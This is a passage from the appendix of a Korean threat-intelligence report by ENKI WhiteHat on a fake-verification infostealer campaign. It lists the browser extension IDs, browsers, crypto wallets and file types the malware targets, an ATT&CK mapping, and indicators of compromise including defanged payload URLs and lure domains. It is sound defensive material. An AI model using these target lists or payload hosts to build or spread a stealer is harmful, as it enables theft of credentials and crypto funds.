| kfdniefadaanbjodldohaedphafoffoh | icblpoalghoakidcjiheabnkijnklhhe |
| jblndlipeogpafnldhgmapagcccfchpi | aeachknmefphepccionboohckonoeemg |
| gbjepgaebckfidagpfeioimheabiohmg | mfhbebgoclkghebffdldpobeajmbecfk |
| fmhmiaejopepamlcjkncpgpdjichnecm | eamiofncoknfkefhlkdblngblpffehek |
| bgpipimickeadkjlklgciifhnalhdjhe | dngmlblcodfobpdpecaadgfbcggfjfnm |
| ojbcfhjmpigfobfclfflafhblgemeidi | ebfidpplhabeedpnhjnobghokpiioolj |
| mdjmfdffdcmnoblignmgpommbefadffd | bcopgchhojmggmffilplmbdicgaihlkp |
| opcgpfmipidbgpenhmajoajpbobppdil | pcndjhkinnkaohffealmlmhaepkpmgkb |
| ckklhkaabbmdjkahiaaplikpdddkenic | cjmkndjhnagcfbpiemnkdpomccnjblmj |
| ookjlbkiijinhpmnjffcofjonbfbgaoc | lccbohhgfkdikahanoclbdmaolidjdfl |
| jkjgekcefbkpogohigkgooodolhdgcda | afbcbjpbpfadlkmhmclhkeeodmamcflc |
| fpkhgmpbidmiogeglndfbkegfdlnajnf | cflgahhmjlmnjbikhakapcfkpbcmllam |
| abogmiocnneedmmepnohnhlijcjpcifd | gjagmgiddbbciopjhllkdnddhcglnemk |
| kmcfomidfpdkfieipokbalgegidffkal | kncchdigobghenbbaddojjnnaogfppfj |
| nbdhibgjnjpnkajaghbffjbkcgljfgdi | fpibioaihcagphbidhodidjbnclocgll |
| amkmjjmmflddogmhpjloimipbofnfjih | hnfanknocfeofbddgcijnmhnfnkdnaad |
| klnaejjgbibmhlephnhpmaofohgkpgkd | nhnkbkgjikgcigadomkphalanndcapjk |
| abjfbanhppgiflmobebfffbijcfoeiao | kilnpioakcdndlodeeceffgjdpojajlo |
| nlgnepoeokdfodgjkjiblkadkjbdfmgd | bopcbmipnjdcdfflfgjdgdjejmgpoaab |
| egjidjbpglichdcondbcbdnbeeppgdph | bhghoamapcdpbohphigoooaddinpkbai |
| pnlccmojcmeohlpggmfnbbiapkmbliob | bmabahhenimmnfijaiccmonalfhpcndh |
| naepdomgkenhinolocfifgehidddafch | admmjipmmciaobhojoghlmleefbicajg |
| jnkelfanjkeadonecabehalmbgpfodjm | panpgppehdchfphcigocleabcmcgfoca |
| jbkgjmpfammbgejcpedggoefddacbdia | jiepnaheligkibgcjgjepjfppgbcghmp |
| gkeelndblnomfmjnophbhfhcjbcnemka | ojggmchlghnjlapmfbnjholfjkiidbch |
| bfnaelmomeimhlpmgjnjophhpkkoljpa | fopmedgnkfpebgllppeddmmochcookhc |
| gjkdbeaiifkpoencioahhcilildpjhgh | acmacodkjbdgmoleebolmdjonilkdbch |
| chgfefjpcobfbnpmiokfjjaglahmnded | mmhlniccooihdimnnjhamobppdhaolme |
| bgjogpoidejdemgoochpnkmdjpocgkha | eajafomhmkipbjmfmhebemolkcicgfmd |
| klghhnkeealcohjjanjjdaeeggmfmlpl | nbdpmlhambbdkhkmbfpljckjcmgibalo |
| kkilomkmpmkbdnfelcpgckmpcaemjcdh | cfbfdhimifdmdehjmkdobpcjfefblkjm |
| jcacnejopjdphbnjgfaaobbfafkihpep | papngmkmknnmfhabbckobgfpihpdgplk |
| algblmhagnobbnmakepomicmfljlbehg | agoakfejjabomempkjlepdflaleeobhb |
| cgeeodpfagjceefieflmdfphplkenlfk | eomhlheglneofffmbfjflldlbcnhpkpb |
| aiaghdjafpiofpainifbgfgjfpclngoh | ginchbkmljhldofnbjabmeophlhdldgp |
| mmmjbcfofconkannjonfmjjajpllddbg | ifckdpamphokdglkkdomedpdegcjhjdp |
| nngceckbapebfimnlniiiahkandclblb | anokgmphncpekkhclmingpimjmcooifb |
| fijngjgcjhjmmpcmkeiomlglpeiijkld | fcckkdbjnoikooededlapcalpionmalo |
| hmeobnfnfcmdkdcmlblgagmfpfboieaf | jiidiaalihmmhddjgbnbgdfflelocpak |
| gadbifgblmedliakbceidegloehmffic | hdokiejnpimakedhajhdlcegeplioahd |
| icpikagpkkbldbfjlbefnmmmcohbjije | mjgkpalnahacmhkikiommfiomhjipgjn |
| bhhhlbepdkbapadjdnnojkbgioiodbic | jnlgamecbpmbajjfhmmmlhejkemejdma |
| ffnbelfdoeiohenkjibnmadjiehjhajb | ajkifnllfhikkjbjopkhmjoieikeihjb |
| pgiaagfkgcbnmiiolekcfmljdagdhlcm | phkbamefinggmakgklpkljjmgibohnba |
| ghlmndacnhlaekppcllcpcjjjomjkjpg | cnncmdhjacpkmjmkcafchppbnpnhdmon |
| aflkmfhebedbjioipglgcbcmnbpgliof | fcfcfllfndlomdhbehjjcoimbgofdncg |
| dmkamcknogkgcdfhhbddcghachkejeap | mmclamjkknobggpiohfneimmnlggagok |
| dlcobpjiigpikoobohmabehhmhfoodbb | lcmncloheoekhbmljjlhdlaobkedjbgd |
| pnndplcbkakcplkjnolgbkdgjikjednm | omaabbefbmiijedngplfjmnooppbclkk |
| nlgbhdfgdhgbiamfdfmbikcdghidoadd | bifidjkcdpgfnlbcjpdkdcnbiooooblg |
| caljgklbbfbcjjanaijlacgncafpegll | mcohilncbfahbmgdjkbpemcciiolgcge |
| dbgnhckhnppddckangcjbkjnlddbjkna | pdadjkfkgcafgbceimcpbkalnfnepbnk |
| cphhlgmgameodnhkjdmkpanlelnlohao | gafhhkghbfjjkeiendhlofajokpaflmk |
| idnnbdplmphpflfnlkomgpfbpcgelopg | iokeahhehimjnekafflcihljlcjccdbe |
| lgbjhdkjmpgjgcbcdlhkokkckpjmedgc | ilhaljfiglknggcoegeknjghdgampffk |
| nopnfnlbinpfoihclomelncopjiioain | hpbgcgmiemanfelegbndmhieiigkackl |
| lpilbniiabackdjcionkobglmddfbcjo | kkpllbgjhchghjapjbinnoddmciocphm |
| dkdedlpgdmmkkfjabffeganieamfklkm | fmblappgoiilbgafhjklehhfifbdocee |
| dphoaaiomekdhacmfoblfblmncpnbahm | inlkhilmjmjomfcpdifpfgllhhlpnbej |
| flpiciilemghbmfalicajoolhkkenfel | bocpokimicclpaiekenaeelehdjllofo |
| cnmamaachppnkjgnildpdmkaakejnhae | hbbgbephgojikajhfbomhlmmollphcad |
| jnldfbidonfeldmalbflbmlebbipcnle | onhogfjeacnfoofkfgppdlbmlmnplgbn |
| oboonakemofpalcgghocfoadofidjkkk | fiikommddbeccaoicoejoniammnalkfa |
| oafedfoadhdjjcipmcbecikgokpaphjk | nphplpgoakhhjchkkhmiggakijnkhfnd |
| bkklifkecemccedpkhcebagjpehhabfb | lpfcbjknijpeeillifnkikgncikgfhdo |
| gjlmehlldlphhljhpnlddaodbjjcchai | aholpfdialjgjfhomihkjbmgjidlcdno |
| jbppfhkifinbpinekbahmdomhlaidhfm | gpnihlnnodeiiaakbikldcihojploeca |
| loinekcabhlmhjjbocijdoimmejangoa | jkoeaghipilijlahjplgbfiocjhldnap |
| nhbicdelgedinnbcidconlnfeionhbml | hpclkefagolihohboafpheddmmgdffjm |
| kbdcddcmgoplfockflacnnefaehaiocb | nkbihfbeogaeaoehlefnkodbefgpgknn |
| jojhfeoedkpkglbfimdfabpdfjaoolaf | opfgelmcmbiajamepnmloijbpoleiama |
| aijcbedoijmgnlmjeegjaglmepbmpkpi | elalghlhoepcjfaedkcmjolahamlnjcp |
| bofddndhbegljegmpmnlbhcejofmjgbn | jgnfghanfbjmimbdmnjfofnbcgpkbegj |
| efbglgofoippbgcjepnhiblaibcnclgk | cpmkedoipcpimgecpmgpldfpohjplkpp |
| abamjefkidngfegdjbmffdmbgjgpaobf | ibnejdfjmmkpcnlpebklmnkoeoihofec |
| copjnifcecdedocejpaapepagaodgpbh | apnehcjmnengpnmccpaibjmhhoadaico |
| ppbibelpcjmhbdihakflkdcoccbgbkpo | igkpcodhieompeloncfnbekccinhapdb |
| hifafgmccdpekplomjjkcfgodnhcellj | bmikpgodpkclnkgmnpphehdgcimmided |
| gdokollfhmnbfckbobkdbakhilldkhcj | fhilaheimglignddkjgofkcbgekhenbh |
| keenhcnmdmjjhincpilijphpiohdppno | enabgbdfcbaehmbigakijjabdpdnimlg |
| lgmpcpglpngdoalbgeoldeajfclnhafa | mgffkfbidihjpoaomajlbgchddlicgpn |
| cihmoadaighcejopammfbmddcmdekcje | ejjladinnckdgjemekebdpeokbikhfci |
| ahidmapichficbkfglbhgmhjcojjmlnm | ocjobpilfplciaddcbafabcegbilnbnb |
| jnmbobjmhlngoefaiojfljckilhhlhcj | nhlnehondigmgckngjomcpcefcdplmgc |
| pocmplpaccanhmnllbbkpgfliimjljgo | ajopcimklncnhjednieoejhkffdolemp |
| kmhcihpebfmpgmihbkipmjlmmioameka | aiifbnbfobpmeekipheeijimdpnlpgpp |
| nknhiehlklippafakaeklbeglecifhad | ldinpeekobnhjjdofggfgjlcehhmanlj |
| fghhpjoffbgecjikiipbkpdakfmkbmig | cmndjbecilbocjfkibfbifhngkdmjgog |
| einnioafmpimabjcddiinlhmijaionap | jhfjfclepacoldmjmkmdlmganfaalklb |
| kglcipoddmbniebnibibkghfijekllbl | ppdadbejkmjnefldpcdjhnkpbjkikoip |
| kkpllkodjeloidieedojogacfhpaihoh | jfmajkmgjpjognffefopllhaijknhnmm |
| khpkpbbcccdmmclmpigdgddabeilkdpd | bkgplkpdgidlgmnlhdfakhcjfpfgjjkb |
| eokbbaidfgdndnljmffldfgjklpjkdoi | dldjpboieedgcmpkchcjcbijingjcgok |
| mnfifefkajgofkcjkemidiaecocnkjeh | lmkncnlpeipongihbffpljgehamdebgi

caption - 브라우저 익스텐션 정보

브라우저 정보

| list | - |
| --- | --- |
| Chrome  | Brave |
| Edge  | Vivaldi |
| Opera  | OperaGX |
| Chrome Beta  | Chrome Canary |
| Chromium  | Chrome Dev |
| Arc  | Coccoc |
| Firefox  | Waterfox |
| Pale Moon

caption - 브라우저 정보

암호화폐 지갑

| list | - |
| --- | --- |
| Electrum  | Coinomi |
| Exodus  | Atomic |
| Wasabi  | Ledger_Live |
| Monero  | Bitcoin_Core |
| Litecoin_Core  | Dash_Core |
| Electrum_LTC  | Electron_Cash |
| Guarda  | Dogecoin_Core |
| Trezor_Suite

caption - 암호화폐 지갑 정보

파일 확장자

| list |
| --- |
| txt |
| pdf |
| docx |
| wallet |
| key |
| keys |
| doc |
| json |
| db

caption - 파일 확장자 정보

부록 B. MITRE ATT&CK

| Tactics | Techniques |
| --- | --- |
| Initial Access | T1659: Content Injection |
| Execution | T1059.001: Command and Scripting Interpreter: PowerShell-nT1059.002: Command and Scripting Interpreter: AppleScript-nT1059.007: Command and Scripting Interpreter: JavaScript-nT1204.004: Malicious Copy and Paste |
| Defense Evasion | T1027.010: Obfuscated Files or Information: Command Obfuscation-nT1027.013: Obfuscated Files or Information: Encrypted/Encoded File-nT1027.016: Obfuscated Files or Information: Junk Code Insertion-nT1140: Deobfuscate/Decode Files or Information-nT1222.002: File and Directory Permissions Modification: Linux and Mac File and Directory Permissions Modification-nT1564.003: Hide Artifacts: Hidden Window-nT1497.001: Virtualization/Sandbox Evasion: System Checks |
| Command and Control | T1071.001: Application Layer Protocol: Web Protocols-nT1102: Web Service |
| Exfiltration | T1020:

caption - MITRE ATT&CK

부록 C. IOCs

sha256

  • ea8c2ccdcad3914c89165d94a5916986ee9ba4fbccce3563eaa5facba38cceb6

  • 979d4c679aca330cd892792064762a65a5d749c987cf94bf45653297e266014b

  • 011203e22a01e504889ac2516d23caf302373d08a64ea4c2ab6a48de3fdb98dd

  • 83777983a43464d305da98d4ea863a9164717ad00b8f903767f4513607235a10

  • 01a203c492e2e556762bcc77297db76c6a48e199da8e915774cd7395c73a5892

  • f44c056c087eeb8a77d0730a1d14872fb5d59b6fcb6bcafb9a49a6d165dc1095

Contract Address

  • 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53

  • 0x8FBA1667BEF5EdA433928b220886A830488549BD

  • 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA

  • 0x5adB8477635ADc33bddccA8Bc48a46323fE18aa0

  • 0x8f386Ac6050b21aF0e34864eAbf0308f89C6f13c

  • 0xd860EA54f0E403Ad0E34bbF005A2BCa298A23ECC

  • 0xEC3A981d05Ae74fAe7d99DeEa295DCCd1B72d6b2

  • 0xd210e8a9f22Bc5b4C9B3982ED1c2E702D66A8a5E

  • 0x15b495FBe9E49ea8688f86776Fd7a50b156C6c3F

  • 0xE1FD5bFe3a085Ce0b2fB72eAC0C14Ef2ef4400C8

URL

  • hxxps://entrinidad[.]cfd/1/verify[.]sh

  • hxxps://overcasetv[.]cfd/update

  • hxxps://raw[.]githubusercontent[.]com/wiraaji/improved-happiness/refs/heads/main/RisingStrip.exe

  • hxxps://technavix[.]cloud/

  • hxxps://yie-cpj[.]pages.dev/mac

  • hxxps://microsoft-dns-reload-1n[.]pages[.]dev

  • hxxps://raw[.]githubusercontent[.]com/wiraaji/improved-happiness/refs/heads/main/pc.txt

  • hxxps://t[.]me/w211et

  • hxxps://steamcommunity[.]com/profiles/76561199811540174

Skyline Domains

  • recaptha-verify-2w[.]pages[.]dev

  • recaptha-verify-q3[.]pages[.]dev

  • recaptcha-dns-o5[.]pages[.]dev

  • recaptcha-dns-d9[.]pages[.]dev

  • recaptha-verify-9o[.]pages[.]dev

  • recaptcha-0d-verify[.]pages[.]dev

  • recaptha-verify-7y[.]pages[.]dev

  • ip-provider[.]pages[.]dev

  • lightsoi[.]pages[.]dev

  • min-js-lib[.]pages[.]dev

  • relmake[.]pages[.]dev

  • rhfvjck[.]pages[.]dev

  • tracklist22[.]pages[.]dev

  • 000-0-000[.]pages[.]dev

  • hypo-dance[.]pages[.]dev

  • ghost-name[.]pages[.]dev

  • tour-agency-media[.]pages[.]dev

  • macos-browser-update-9n[.]pages[.]dev

  • macos-browser-update-5y[.]pages[.]dev

  • dns-resolver-es8[.]pages[.]dev

  • backup-xvc[.]pages[.]dev

  • n51v[.]pages[.]dev

  • stat[.]bluetroniq[.]vip

  • tnop[.]pages[.]dev

  • app2[.]bytevista[.]cloud

  • fhjwekn[.]pages[.]dev

  • xxx[.]retweet[.]shop

  • dsk1a[.]pages[.]dev

  • dfhusj[.]pages[.]dev

  • f23-11r[.]pages[.]dev

  • bsdw[.]pages[.]dev

  • xxx-cf[.]pages[.]dev

  • fg-gb6[.]pages[.]dev

  • ert67-o9[.]pages[.]dev

  • f003[.]backblazeb2[.]com

  • hostme[.]pages[.]dev

  • gdfg-23rwe[.]pages[.]dev

  • sha-11x[.]pages[.]dev

  • s0s2[.]pages[.]dev

  • b1-c1-k8[.]pages[.]dev

  • 1a-a1[.]pages[.]dev

  • sdfwefwg[.]pages[.]dev

  • niopg[.]pages[.]dev

  • cleaning-devices-k[.]pages[.]dev

  • new-school-day-1[.]pages[.]dev

  • social-brain-page[.]pages[.]dev

  • fresh-orange-juice[.]pages[.]dev

  • you-insk-bad[.]pages[.]dev

  • human-verify-7u[.]pages[.]dev

  • recaptcha-verify-me-1c[.]pages[.]dev

  • recaptcha-verify-9n[.]pages[.]dev

  • macos-browser-update-5i[.]pages[.]dev

  • recaptcha-verify-2e[.]pages[.]dev

  • recaptcha-verify-7z[.]pages[.]dev

  • recaptcha-verify-1t[.]pages[.]dev

  • recaptcha-verify-9m[.]pages[.]dev

  • disable-data-collect-ai[.]pages[.]dev

  • recaptcha-verify-1r[.]pages[.]dev

  • recaptha-verify-5q[.]pages[.]dev

  • recaptha-verify-6l[.]pages[.]dev

  • recaptha-verify-1n[.]pages[.]dev

  • recaptha-verify-4z[.]pages[.]dev

  • recaptha-verify-7u[.]pages[.]dev

  • recaptha-verify-c1[.]pages[.]dev

  • recaptha-verify-3m[.]pages[.]dev

  • app[.]bytevista[.]cloud

  • bytevista[.]cloud

  • ho8[.]pages[.]dev

  • z1z[.]pages[.]dev

  • yuun[.]pages[.]dev

  • tuboos[.]pages[.]dev

  • yoloff[.]pages[.]dev

  • javascript-67t[.]pages[.]dev

  • sticker-88l[.]pages[.]dev

  • know-knock-who-is-here[.]pages[.]dev

  • ndgadfqwywqe[.]pages[.]dev

  • jjiiiiiiiiijjjj[.]pages[.]dev

  • gthfjdk[.]pages[.]dev

  • ffmqitnka[.]pages[.]dev

  • jrtersdfg[.]pages[.]dev

  • sound-designer-v21[.]pages[.]dev

  • rivertracker[.]pages[.]dev

  • bootstrappa[.]pages[.]dev

  • renovateai[.]pages[.]dev

  • nhgfdc-ok[.]pages[.]dev

  • yt3cvkj43ws[.]pages[.]dev

  • rose-pole-chip[.]pages[.]dev

  • 0-000-0[.]pages[.]dev

  • 000-00-000[.]pages[.]dev

  • xxx-xx-x-xxx[.]pages[.]dev

  • vv-ww-vv[.]pages[.]dev

  • ooooi1[.]pages[.]dev

  • qbsad[.]pages[.]dev

  • helloworld-f1f[.]pages[.]dev

  • hfdjb[.]pages[.]dev

  • sunlight-11[.]pages[.]dev

  • bbb1-9we[.]pages[.]dev

  • jsfiles-bqq[.]pages[.]dev

  • mixg-u[.]pages[.]dev

  • kolobsgw[.]pages[.]dev

  • nn11[.]pages[.]dev

  • nnoq[.]pages[.]dev

  • fmoz[.]pages[.]dev

  • x1x1[.]pages[.]dev

  • fwfa[.]pages[.]dev

Skyline Test Domains

  • x[.]com

  • 818[.]cn

  • 809[.]cn

  • 808[.]cn

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

침해사고 발생 전,
지금 대비하세요

빈틈없는 보안 설계의 시작, NO.1 화이트 해커의 노하우로부터

공격자 관점의 깊이가 다른 보안을 제시합니다.

Contact

biz@enki.co.kr

02-402-1337

서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

공격자 관점의 깊이가 다른 보안을 제시합니다.

Contact

biz@enki.co.kr

02-402-1337

서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.

공격자 관점의 깊이가 다른 보안을 제시합니다.

Contact

biz@enki.co.kr

02-402-1337

서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)

ENKI WhiteHat Co., Ltd.

Copyright © 2025. All rights reserved.